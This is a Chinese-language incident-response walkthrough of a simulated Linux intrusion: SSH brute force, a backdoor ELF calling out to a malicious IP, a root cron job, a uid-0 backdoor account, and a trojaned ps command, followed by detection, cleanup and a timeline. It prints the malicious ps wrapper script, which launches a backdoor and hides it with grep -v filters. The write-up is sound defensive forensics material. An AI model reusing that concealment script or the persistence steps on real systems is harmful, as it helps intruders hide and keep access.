目录
- Linux-暴力破解、替换ps命令并留存后门事件复现
- 一、事件背景
- 二、应急响应过程
- 排查crontab后门
- 排查是否有命令被替换
- 响应过程回顾
- 三、事件还原
- 查看后门
- 排查安全日志
Linux-暴力破解、替换ps命令并留存后门事件复现
一、事件背景
服务器疑似被入侵,与恶意IP进行通信(恶意IP用192.168.1.132代替)
受害服务器: Centos7系统 IP:
192.168.8.158
(无WEB服务)
二、应急响应过程
排查网络连接
-
查看服务器的网络连接,发现服务器192.168.8.158一直与恶意IP:192.168.1.132的6666端口连接,并且程序名为:.shell.elf
-
netstat -anpt
-
根据PID号查找程序位置: /root/.shell.elf
-
l
sof -p 9560
-
查看 .shell.elf 文件的创建时间为:2022-09-05 18:00:06
-
stat .shell.elf
-
之后将 .shell.elf 文件放在微步上检测发现,是后门文件
-
记得关闭本机电脑的实时防护
-
微步云沙箱
排查历史命令
-
利用
history
查看是否有黑客执行的命令
-
在 root账户下排查是否有黑客执行的命令
-
cd /root
-
cat .bash_history
排查后门账户
-
查看当前登录系统的用户
-
who
-
192.168.8.1是我用xshell进行了链接
-
查看特权账户
-
awk -F: '$3==0 {print$1}' /etc/passwd
-
发现有两个特权账户:root、hyf,与客户沟通后确定hyf是黑客创建
-
再次查看可以远程登录的帐号信息
-
又有hyf,确定了 hyf 是黑客的后门账户
-
接下来查看用户最近登录情况
-
发现 hyf 账户在 9月6 日 16:10:36 登录了该服务器(其中IP地址 192.168.1.132 因为是模拟,没有公网地址,所以假设它是恶意IP)
排查crontab后门
查看服务器的定时任务
cd /var/spool/cron
cat root
发现存在root账户的定时任务,每分钟执行一次 /root/shell.elf文件
排查是否有命令被替换
检查命令文件是否被替换
rpm -Vf /usr/bin/*
rpm -Vf /usr/sbin/*
#rpm -Vf /usr/bin/xxx
#S 关键字代表文件大小发生了变化
#M 关键字代表文件的权限发生了变化
#5 关键字代表文件的 md5 值发生了变化
#T 代表文件时间发生了变化
执行命令: rpm -Vf /usr/bin/* 时发现 ps 命令的文件大小、md5 值、时间发生了变化,可能已经被修改
查看ps命令内容
cd /usr/bin/
ll -a ps
cat ps
查看ps文件内容发现被修改了
#!/bin/bash
/.centos_core.elf & /.hide_command/ps -aux | grep -v "shell" | grep -v "centos_core" | grep -v "bash" | grep -v "/.hide_command"
每次执行ps命令都会执行/.centos_core.elf文件、/.hide_command/ps文件
grep -v的意思是只打印没有匹配的,而匹配的不打印,相当于隐藏shell、centos_core、bash、/.hide_command" 等异常文件信息
-
查看/.centos_core.elf文件创建时间为:2022-09-06 14:38:00
-
将 .centos_core.elf 文件放在微步云沙箱检测是后门文件
-
而 /.hide_command/ps 文件为正常的ps文件
总结:
存在 ps 命令后门,将正常的ps命令替换,每执行一次ps命令 /.centos_core.elf 后门文件就会被执行一次
响应过程回顾
1、找到后门文件 :/root/.shell.elf 、/.centos_core.elf
2、找到后门账户:hyf
3、找到恶意定时任务
4、ps命令被替留ps命令后门
清除后门文件
rm -rf /root/.shell.elf
rm -rf /.centos_core.elf
将ps命令删除再将 .hide_command/ps 恢复
rm -rf /usr/bin/ps
mv /.hide_command/ps /usr/bin/ps
另一种方法文件提取还原案例:
rpm -qf /bin/ps
查询 ps 命令属于哪个软件包mv /bin/ps /tmp
先把 ps 转移到 tmp 目录下,造成 ps 命令丢失的假象df
查看光盘挂载位置rpm2cpio /run/media/root/CentOS\ 7\ x86_64/Packages/procps-ng-3.3.10-23.el7.x86_64.rpm | cpio -idv ./usr/bin/ps
提取 rpm 包中 ps 命令到当前目录的 /usr/bin/ps 下cp ./usr/bin/ps
/bin/ 把 ps 命令复制到 /bin/ 目录 修复文件丢失
删除后门账户
vim /etc/passwd
vim编辑passwd文件,按dd删除 hyf 那一行,之后保存并退出
三、事件还原
查看后门
查看 /root/.shell.elf 文件的创建时间为:2022-09-05 18:00:06
stat /root/.shell.elf
查看 定时任务 /var/spool/cron/root 文件的创建时间为:2022-09-06 14:48:08
stat /var/spool/cron/root
查看/.centos_core.elf文件创建时间为:22022-09-06 14:38:00
stat /.centos_core.elf
查看 ps 命令文件修改时间为:2022-09-06 14:43:31
stat /usr/bin/ps
总结:
植入后门的顺序为: .shell.elf 后门、/.centos_core.elf后门、ps命令替换后门、定时任务
排查安全日志
-
查看secure日志,发现爆破的时间范围是 9.6 14:31:39——14:33:11
-
查看爆破的次数、攻击IP、破的用户名
-
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
-
查询被爆破的用户名都有哪些
-
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
-
爆破用户名字典是什么
-
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
-
查看用户最近登录情况
-
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
发现 root 账户在9月6 日 14:33:09 登录了该服务器,在爆破的时间范围内(14:31:39——14:33:11) hyf 账户在 9月6 日 16:10:36 登录了该服务器(其中IP地址 192.168.1.132因为是模拟,没有公网地址,所以假设它是恶意IP)
事件总结
黑客在9月6日14:31:39——14:33:11对服务器进行爆破,且在 14:33:09成功爆破出root账户密码并且进行登录,登录之后在9月6日14:37:22 植入了 .shell.elf 后门(根据成功爆破出root账户的时间可知 9月5日18:00:06 为 .shell.elf后门的创建时间,并非植入时间)、在14:38:00 植入了 /.centos_core.elf 后门、在 14:43:31 植入了ps命令后门、在 14:48:08写了恶意定时任务,恶意IP为192.168.1.132